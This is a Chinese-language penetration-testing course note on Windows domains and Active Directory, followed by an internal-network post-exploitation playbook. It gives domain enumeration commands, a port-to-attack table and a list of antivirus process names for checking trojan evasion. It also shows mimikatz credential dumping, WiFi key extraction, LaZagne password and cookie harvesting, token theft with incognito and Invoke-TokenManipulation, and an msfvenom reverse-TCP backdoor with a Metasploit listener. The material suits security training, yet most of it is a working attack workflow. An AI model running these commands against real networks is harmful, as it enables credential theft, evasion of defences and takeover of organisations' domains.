DAY38:域的组成与内网信息搜集
1、内网
1.1、内网的基本概念
内网是一个只有组织工作人员才能访问的专用网络,是指在某一区域有多台计算机互联成的计算机组。
内网是封闭型的,他可以由办公室内的两台计算机组成,也可以由一个公司内的上千台计算机组成。
1.2、工作组
在一个大的单位内,可能有成百上千台电脑互联组成局域网,如果这些电脑不分组,要找一台电脑很困难,为解决这一问题,就有了工作组的概念,将不同电脑一般按功能(或部门)分别列入到不同工作组中
加入工作组:计算机属性>>>更改设置>>>更改,在"计算机名"一栏中输入该工作组名。
2、域概述
2.1、域名系统简介
域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。
2.2、域的分类
(1)单域:只有一个域。在一个域内,一般要有至少两台域服务器,一台作为DC,另一台作为备份DC。活动目录的数据库(包括用户的账号信息)是存储在DC中的,如果没有备份DC,一旦DC瘫痪了,域内的其它用户就不能登录改域了。
(2)父域和子域:由于管理及其它需求,需要在网络中划分多个域,第一个域称为父域,各分部的域称;为该域的子域。例如,一个大公司的各个分公司位于不同的地点,就需要使用父域及子域。如果把不同地点的分公司放在同-域内,那么它们之间在信息交互上花费的时间就会比较长,占用的带宽也会比较大。
(3)域树:域下面有多个域。域树是多个域通过建立信任关系组成的集合,一个域管理员只能管理本域,不能访问或子域,不但可以按照需要互相管理,还可以跨网络分配文件和打印机等设备及资源,从而在不同的域之间实现网络资源的共享与管理、通信及数据传输。在一个域树中,父域可以包含很多子域,子域是相对父域来说的。指域名中的每一个段。子域只能使用父域作为域名的后缀,也就是说在一个域树
(4)域森林:多个域树组成的域。域森林是指多个域树通过建立信任关系组成的集合。可以通过域树之间建立的信任关系来管理和使用整个森林中的资源,从而又保持了原有域自身原有的特性。
2.3、域术语
域:Domain ,域是一个有安全边界的计算机集合。可以简单的把域理解为升级版的工作组。与工作组相比,域的安全管理控制机制更加严格。用户想访问域内的资源,必须以合法的身份登录域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份。
DC:域控制器,域的创建者。域控制器是域中的一台类似管理服务器的计算机,我们可以形象的将它理解为一个单位的门禁系统,域控制器负责所有连入的计算机和用户的验证工作。域内的计算机如果想互相访问,都要经过域控制器的审核。域控制器是整个域的通信枢纽,所有的权限身份验证都在域控制器上进行,也就是说,域内所有用来验证身份的账号和密码散列值都保存在域控制器中。
AD:Active Directory, 提供了一个分布式数据库,该数据库可以存储和管理有关网络资源的信息,也就是前面所说的活跃用户。
活动目录是域环境中提供目录服务的组件,目录就是存储有关网络对象(如用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是帮助用户快速准确的从目录中查找到他所需要的信息的服务。活动目录实现了目录服务,为企业提供了网络环境的集中式管理机制。在活动目录中,管理员不需要考虑被管理对象的地理位置,只需要按照一定的方式将这些对象放在不同的容器中,域树内的所有域共享一个活动目录,这个活动目录内的数据分散存储在各个域中,且每个域只存储该域内的数据。
2.4、活动目录提供的功能
(1)账号集中管理,所有账号均存在服务器上,方便对账号的管理
(2)软件集中管理,统一推送软件安装网络打印机等
(3)环境集中管理,利用AD可以统一客户端桌面, IE, TCP/IP等设置
(4)增强安全性,统- -部署杀毒软件和扫毒任务、集中管理用户的计算机权限、统一制定用户密码策略
(5)更可靠,更少的宕机时间
2.5、域名服务器(Domain Name Server, DNS)
用于实现域名和与之相对应的IP地址转换的服务器。因为域中的计算机是使用DNS来定位域控制器、服务器及其它计算机、网络服务的,所以域的名字就是DNS域的名字,在内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器的位置的
2.6、AD和DC的区别
如果网络规模较大,我们就会考虑把网络中的众多对象:计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一-个大仓库中,并做好检索信息,以利于查找、管理和使用这些对象(资源)。这个有层次结构的数据库,就是活动目录数据库,简称AD库。那么我们应该把这个数据库放在哪台计算机上呢?规定是这样的,我们把存放有活动目录数据库的计算机就成为DC。所以我们要实现域环境,其实就是要安装AD,当内网中的一台计算上安装了AD后,它就变成了DC。
2.7、安全域的划分
划分安全域的目的是将- -组安全等级相同的计算机划入同一个网段,这个网段的计算机拥有相同的网络边界并在网络边界.上通过部署防火墙来实现对其它安全域的网络访问控制策略,从而对允许那些IP地址访问此域,允许此域访问那些IP地址和网段进行设置。这些措施,将网络风险最小化,当攻击发生时,可以尽可能的将威胁隔离,从而降低对域内计算机的影响。安全域内一般会分为 DMZ 区和内网,DMZ 称为隔离区,是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题而设立的一个非安全系统与安全系统之,间的缓冲区,一般位于企业内部网络和外部网络之间。
2.8、域中计算机的分类
1、域控制器
用于管理所有的网络访问,存储了域内所有的账户和信息策略
2、成员服务器
是指安装了服务器操作系统并加入了域,但没有安装活动目录的计算机,其主要任务是提供网络资源
3、客户机
域中的计算机可以是安装了其它操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域。这些计算机被称为域中的客户机
4、独立服务器
独立服务器和域没有关系,如果服务器不加入域也不安装活动目录,就被称为独立服务器
3、 内网渗透
3.1、内网渗透测试流程与思路
明确内网渗透测试的目的和目标
内网存在域:如果内网存在域,那么我们的目的就是获取到域控制服务器的系统权限,我们的目标就是域控制服务器
内网不存在域:如果内网不存在域,那么我们的目的就是获取到承载核心业务及核心数据库的服务器的权限,我们的目标就是核心业务及核心数据库服务器
那么渗透从何开始?
当前服务器作为内网中第一台获取到权限的服务器,我们需要对服务器.上存在的信息进行收集汇总,以此为突破口更有效的对内网进行渗透。
(1)信息搜集
在内网渗透测试环境中,有很多设备和防护软件,通过收集目标内网的信息,从而洞察内网网络的拓扑结构,找出内网中最薄弱的环节。信息收集的深度,直接关系到内网渗透测试的成败。信息收集是重要的第一步, 对于内网中的一台机器,其所处内网的结构是什么样的、其角色是什么、使用这台机器的人的角色是什么,以及这台机器上安装了什么杀毒软件、这台机器是通过什么方式,上网的、这台机器是笔记本电脑还是台式机等问题,都需要通过信息收集来解答
(2)权限提升
有时候,通过某些方式获取执行命令的shell,会因为权限限制而无法执行某些命令。这时候为了“扩大战果”就需要利用提权,来让原本的低权限—>高权限。Windows操作系统中管理员账号的权限,以及 Linux 操作系统中 root 账户的权限,是操作系统的最高权限,提升权限的方式分为两大类:纵向提权和横向提权。常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权。
(3)横向移动
域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(APT) 中,攻击者会利用该技术,已被攻陷的系统作为跳板,通过收集域内凭证等各种方法,访问其它域内主机,扩大资产范围。通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于 Windows 操作系统的基础设施和与业务相关的关键账户。
(4)权限提升
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。攻击者在提升权限之后,往往者利用的系统漏洞,攻击者还是可以通过后门门继续控制目标系统。因此,如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被入侵后快速找到攻击者留下的后门门并将其清除。
(4)清理痕迹
在我们做完一系列的内网渗透操作后,必然会留下一些蛛丝马迹,比如上传的木马、脚本、软件、添加的注册表和日志信息等等,因此我们需要消除这些痕迹,以避免对其系统的正常工作产生影响
3.2、域信息收集命令
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表
第二个查的更多
net view /domain 查看有几个域
当我们通过外网打点进入内网环境的时候,我们就要开始进行内网渗透了,而当我们进入内网的时候,就像去了一个陌生的地方,我们就要不停的探索前方的路。那么拿到这些命令收集的东西又有什么用呢?
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domainnet config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源ipconfigsysteminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -anonltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
3.3、内网信息收集总结
当我们通过外网打点进入内网环境的时候,我们就要开始进行内网渗透了,而当我们进入内网的时 候,就像去了一个陌生的地方,我们就要不停的探索前方的路
基础信息(存活主机、ip在哪个网段,whoami /all,判断网络拓扑,分析域控)
角色判断(web服务器、文件服务器、代理服务器、数据库服务器、DNS服务器、内网PC机成员,对服务器的角色进行判断)
区域判断(一般存在三种区域:外网区域、DMZ区域、内网区域)
机器角色、拓扑结构、机器所安装软件、操作系统、安装补丁等等信息
找相应的配置信息,或明文存储的密码,找相应OA,浏览器,后台的token、cookie免密登录,目标的资产信息等
PS:这些就是windows服务器版本对应的平时的操作系统版本
win2000-win98
win2003-winxp
win2008-win7
win2012-win8
win2016-win10
win2019-win11
攻击机器一个 win10-win2018 net.exe 那么我们是不是就可以把本机 net.exe 上传到 server上然后就可以执行net命令
win10-server 2008 我们本地 net.exe 就不可在2008上运行
3.4、一般网络互通情况
内网可以访问外网:内网的用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT内网可以访问DMZ:此策略使内网用户可以使用或者管理 DMZ 中的服务器。 外网不能访问内网:这是防火墙的基本策略,内网中存放的是公司内部数据,这些数据是不允许外网的用户进行访问的。如要访问,就要通过VPN方式来进行外网可以访问DMZ:DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMZ需要由防火墙完成对外地址到服务器实际地址的转换DMZ不能访问内网:如不执行此策略,则当入侵者攻陷DMZ时,内部网络将不会受保护。DMZ不能访问外网:此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。
判断是否存在域环境
ipconfig /all #判断当前是否存在域
Net view /domain #判断是否存在域环境
在主 DNS 后缀和 DNS 后缀搜索列表后有相应的域名,反之则无
查看主域机器名称
nslookup 主域名 #用nslookup去反向解析主域的ip地址
同样可以使用ping 命令获得域主机得到ip地址
ping + 主域名
查询域管理员信息
Net group "Domain Admins" /domain #查询域管理员账户(需要相应权限)
Net group "Enterprise Admins" /domain #查询域管理员用户组(需要相应权限)
Net group "Domain Controllers" /domain #查询域控制器(需要相应权限)
判断出存在域环境,在主域和一些域管理员的信息后,需要进行下一步的收集
查询网络配置信息
ipconfig /all 前面讲过了,也是判断是否存在于环境的一种方法
查询系统详细信息
systeminfo 系统的详细信息(在进行提权时可以通过此命令查找漏洞)
操作系统和版本信息
是否存在域和当前登录计算机名
系统所安装的补丁
网卡信息检测系统补丁脚本: https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
查看补丁: https://github.com/chroblert/WindowsVulnScanwindows
内核提权exp: https://github.com/SecWiki/windows-kernel-exploits
在线提权利用查询: https://lolbas-project.github.io/
收集用户和组信息
net user //本地用户
net localgroup //本地用户组
net user /domain //获取域用户信息
wmic useraccount get /all //获取域用户详细信息系统常见用的用户身份
Domain Admins: 域管理员(默认对域控制器有完全控制权)
Domain Computers: 域内机器
Domain Controllers: 域控制器1
Domain Guest: 域访客,权限低
Domain Users: 域用户
Enterprise Admins: 企业系统管理员用户(默认对域控制器有完全控制权)
获取当前用户权限和SID
whoamoi /all //存储了相应用户的身分令牌
探测内网存活的主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 xxx.xxx.xx.%I | findstr "TTL=
也可使用 nmap、scanport 等第三方工具进行探测
nmap -Pn ip_address
探测内网开放端口
nmap -p 1-65535 ip_address
或者使用 scanport
常见的端口信息
| 端口号 | 端口说明 | 攻击技巧 |
|--------|--------|--------|
|21/22/69|ftp/tftp:文件传输协议 |爆破\嗅探\溢出\后门|
|22|ssh:远程连接 |爆破OpenSSH;28个退格|
|23|telnet:远程连接 |爆破\嗅探|
|25|smtp:邮件服务 |邮件伪造|
|53|DNS:域名系统 |DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙|
|67/68|dhcp |劫持\欺骗|
|110|pop3 |爆破|
|139|samba |爆破\未授权访问\远程代码执行|
|143|imap |爆破|
|161|snmp |爆破|
|389|ldap |注入攻击\未授权访问|
|445|SMB |远程代码执行|
|512/513/514|linux r|直接使用rlogin|
|873|rsync |未授权访问|
|1080|socket |爆破:进行内网渗透|
|1352|lotus |爆破:弱口令\信息泄漏:源代码|
|1433|mssql |爆破:使用系统用户登录\注入攻击|
|1521|oracle |爆破:TNS\注入攻击|
|2049|nfs |配置不当|
|2181|zookeeper |未授权访问|
|3306|mysql |爆破\拒绝服务\注入|
|3389|rdp |爆破\Shift后门|
|4848|glassfish |爆破:控制台弱口令\认证绕过|
|5000|sybase/DB2 |爆破\注入|
|5432|postgresql |缓冲区溢出\注入攻击\爆破:弱口令|
|5632|pcanywhere |拒绝服务\代码执行|
|5900|vnc |爆破:弱口令\认证绕过|
|6379|redis |未授权访问\爆破:弱口令|
|7001|weblogic |Java反序列化\控制台弱口令\控制台部署webshell|
|80/443/8080|web |常见web攻击\控制台爆破\对应服务器版本漏洞|
|8069|zabbix |远程命令执行|
|9080|websphere |远程命令执行
|9090|websphere控制台 |爆破:控制台弱口令\Java反序列|
|9200/9300|elasticsearch |远程代码执行|
|11211|memcacache |未授权访问|
|27017|mongodb |爆破\未授权访问|
查询主机开机时间
net statistics workstation
查询启动程序信息
wmic startup get command,caption
查询启动服务
net start
查询本机服务细信息
wmic service list brief
查询计划任务
schtasks #权限不够时无法列出
查询端口信息
netstat -ano
查看进程列表
tasklist
这里就需要进行相应的进程判断啦,这里放出一些杀软进程,有其他的可自行百度
可以在本地下载对应杀软,然后检测我们上传木马是否能 bypass
{"360tray.exe", "360安全卫士"}
{"360sd.exe", "360杀毒"}
{"a2guard.exe", "a-squared杀毒"}
{"ad-watch.exe", "Lavasoft杀毒"}
{"cleaner8.exe", "The Cleaner杀毒"}
{"vba32lder.exe", "vb32杀毒"}
{"MongoosaGUI.exe", "Mongoosa杀毒"}
{"CorantiControlCenter32.exe", "Coranti2012杀毒"}
{"F-PROT.EXE", "F-PROT杀毒"}
{"CMCTrayIcon.exe", "CMC杀毒"}
{"K7TSecurity.exe", "K7杀毒"}
{"UnThreat.exe", "UnThreat杀毒"}
{"CKSoftShiedAntivirus4.exe", "Shield Antivirus杀毒"}
{"AVWatchService.exe", "VIRUSfighter杀毒"}
{"ArcaTasksService.exe", "ArcaVir杀毒"}
{"iptray.exe", "Immunet杀毒"}
{"PSafeSysTray.exe", "PSafe杀毒"}
{"nspupsvc.exe", "nProtect杀毒"}
{"SpywareTerminatorShield.exe", "SpywareTerminator杀毒"}
{"BKavService.exe", "Bkav杀毒"}
{"MsMpEng.exe", "Microsoft Security Essentials"}
{"SBAMSvc.exe", "VIPRE"}
{"ccSvcHst.exe", "Norton杀毒"}
{"QQ.exe", "QQ"}
{"f-secure.exe", "冰岛"}
{"avp.exe", "卡巴斯基"}
{"KvMonXP.exe", "江民杀毒"}
{"RavMonD.exe", "瑞星杀毒"}
{"Mcshield.exe", "麦咖啡"}
{"egui.exe", "NOD32"}
{"kxetray.exe", "金山毒霸"}
{"knsdtray.exe", "可牛杀毒"}
{"avcenter.exe", "Avira(小红伞)"}
{"ashDisp.exe", "Avast网络安全"}
{"rtvscan.exe", "诺顿杀毒"}
{"ksafe.exe", "金山卫士"}
{"QQPCRTP.exe", "QQ电脑管家"}
{"Miner.exe", "流量矿石"}
{"AYAgent.aye", "韩国胶囊"}
{"patray.exe", "安博士"}
{"V3Svc.exe", "安博士V3"}
{"avgwdsvc.exe", "AVG杀毒"}
{"ccSetMgr.exe", "赛门铁克"}
{"QUHLPSVC.EXE", "QUICK HEAL杀毒"}
{"mssecess.exe", "微软杀毒"}
{"SavProgress.exe", "Sophos杀毒"}
{"fsavgui.exe", "F-Secure杀毒"}
{"vsserv.exe", "比特梵德"}
{"remupd.exe", "熊猫卫士"}
{"FortiTray.exe", "飞塔"}
{"safedog.exe", "安全狗"}
{"parmor.exe", "木马克星"}
{"beikesan.exe", "贝壳云安全"}
{"KSWebShield.exe", "金山网盾"}
{"TrojanHunter.exe", "木马猎手"}
{"GG.exe", "巨盾网游安全盾"}
{"adam.exe", "绿鹰安全精灵"}
{"AST.exe", "超级巡警"}
{"ananwidget.exe", "墨者安全专家"}
{"AVK.exe", "GData"}
{"ccapp.exe", "Symantec Norton"}
{"avg.exe", "AVG Anti-Virus"}
{"spidernt.exe", "Dr.web"}
{"Mcshield.exe", "Mcafee"}
{"avgaurd.exe", "Avira Antivir"}
{"F-PROT.exe", "F-Prot AntiVirus"}
{"vsmon.exe", "ZoneAlarm"}
{"avp.exee", "Kaspersky"}
{"cpf.exe", "Comodo"}
{"outpost.exe", "Outpost Firewall"},
{"rfwmain.exe", "瑞星防火墙"},
{"kpfwtray.exe", "金山网镖"},
{"FYFireWall.exe", "风云防火墙"},
{"MPMon.exe", "微点主动防御"},
{"pfw.exe", "天网防火墙"},
{"S.exe", "在抓鸡"},
{"1433.exe", "在扫1433"},
{"DUB.exe", "在爆破"},
{"ServUDaemon.exe", "发现S-U"},
{"BaiduSdSvc.exe", "百度杀软"},安全狗:
SafeDogGuardCenter.exe
safedogupdatecenter.exe
safedogguardcenter.exe
SafeDogSiteIIS.exe
SafeDogTray.exe
SafeDogServerUI.exeD盾:
D_Safe_Manage.exe
d_manage.exe云锁:
yunsuo_agent_service.exe
yunsuo_agent_daemon.exe护卫神:
HwsPanel.exe 护卫神·入侵防护系统(状态托盘)
hws_ui.exe 护卫神·入侵防护系统
hws.exe 护卫神·入侵防护系统 服务处理程序
hwsd.exe 护卫神·入侵防护系统 监控组件火绒:
hipstray.exe
wsctrl.exe
usysdiag.exe趋势科技:
TMBMSRV.exe
ntrtscan.exe
PCCNTMON.exe
TMLISTEN.exe
查询共享列表
net share //查询共享资源
3.5、内网密文或明文等口令收集
使用工具 mimikatz
在内网环境中,一般口令都是统一发布的,当我们得知内网中一台机器的口令时,内网其他的口令 很有可能和我们得到的口令类似,或者直接一样,我们可以把这些口令搜集在一起,结合一下,生成 一个密码字典,对内网中其他机器口令进行爆破
mimikatz收集一些明文信息:
开启debug模式:mimikatz # privilege::debug
mimikatz #sekurlsa::logonpasswords 获取口令
win2012之前 密码是在内存中进行加密存储的 在这之后mimikatz他是同反向逆转的方式将内存中的密码这一块进行破解python+mimikatz
win2012以后密码存储
isaa一个文件里
PS:
在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行,所以我们这里用administrator权限启动mimikatz。
获取 wifi 密码
netsh wlan show profiles
netsh wlan show profile name="wifi名称" key=clear
配置文件中的密码信息
cd /web findstr /s /m “password” *.*
常用应用的默认配置路径:
Tomcat: CATALINA_HOME/conf/tomcat-users.xml
Apache: /etc/httpd/conf/httpd.conf
Nginx: /etc/nginx/nginx.conf
Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf
Mysql: mysql\data\mysql\user.MYD
3.6、信息搜集自动化工具
(1)LaZagne
项目地址:https://github.com/AlessandroZ/LaZagne
指令:lazagne.exe all
自动化搜集明文密码,cookie,token
(2)XenArmor
下载地址:https://xenarmor.com/ 支持win7-win10
图形化界面,傻瓜式操作,setting 里面可勾选查找信息,点击 Recover Passwords,即可获取
4、Token(身份令牌)
4.1、令牌概述
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击
4.2、令牌的分类
(1)访问令牌(Access Token):表示访问控制操作主体的系统对象
(2)会话令牌(Session Token):是交互会话中唯一的身份标识符
(3)密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
Windows 的 AccessToken 有两种类型
Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)
PS:两种token只在系统重启后清除 具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效
本地安装不了wmtools 的可以在本机启动一个python server
python -m http.server
4.3、Access Token的窃取与利用
AccessToken
的窃取与利用需要administrator
管理员权限或system
权限,要提权
常见的 AccessToken 盗取方法:
- 程序 incognito.exe
- MSF里的incognito模块
- InvokeTokenManipulat.ps1脚本
(1)incognito.exe令牌的盗取:
incognito.exe
这样一个东西,他并非是一个提权工具。
当他目前登录的账号是一个system权限的时候,他列出的可登录的这种身份令牌只有他,以及包括他以下权限的身份令牌。
首先:列出所有可用的身份令牌:incognito.exe list_tokens -u
此时就会列出所有可用的身份令牌
使用:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
incognito.exe list_tokens -u //列出所有可用的身份令牌
incognito.exe execute -c "完整的 Token 名" cmd.exe
ex:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe //盗用身份令牌
incognito.exe execute -c "完整的Token名" cmd.exe例如:模拟system权限用户(提权至system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
(2)MSF里的incognito
模块
use incognito #加载incognito
msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=port LHOST=ip_address
监听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcpset lhost ip_address
set lport port
exploit
伪造令牌
getsystem #提升至system权限
rev2self #返回到之前的AccessToken权限//模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
impersonate_token "NT AUTHORITY\SYSTEM"
impersonate_token WIN2008\\adminstrator #模拟WIN2008\adminstrator的令牌(身份)
impersonate_token WIN2008\\test #模拟WIN2008\test的令牌(身份)
查看进程 PID
list_tokens -u #列出AccessToken
incognitolist_tokens -u #列出token
getuid #查看当前token
AccessTokengetuid #查看当前令牌(token)
steal_token 1252 #从进程窃取token
(3)InvokeTokenManipulat.ps1
脚本
地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
枚举token:
Invoke-TokenManipulation -Enumerate
提权至system:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
复制(窃取)进程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制(窃取)线程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500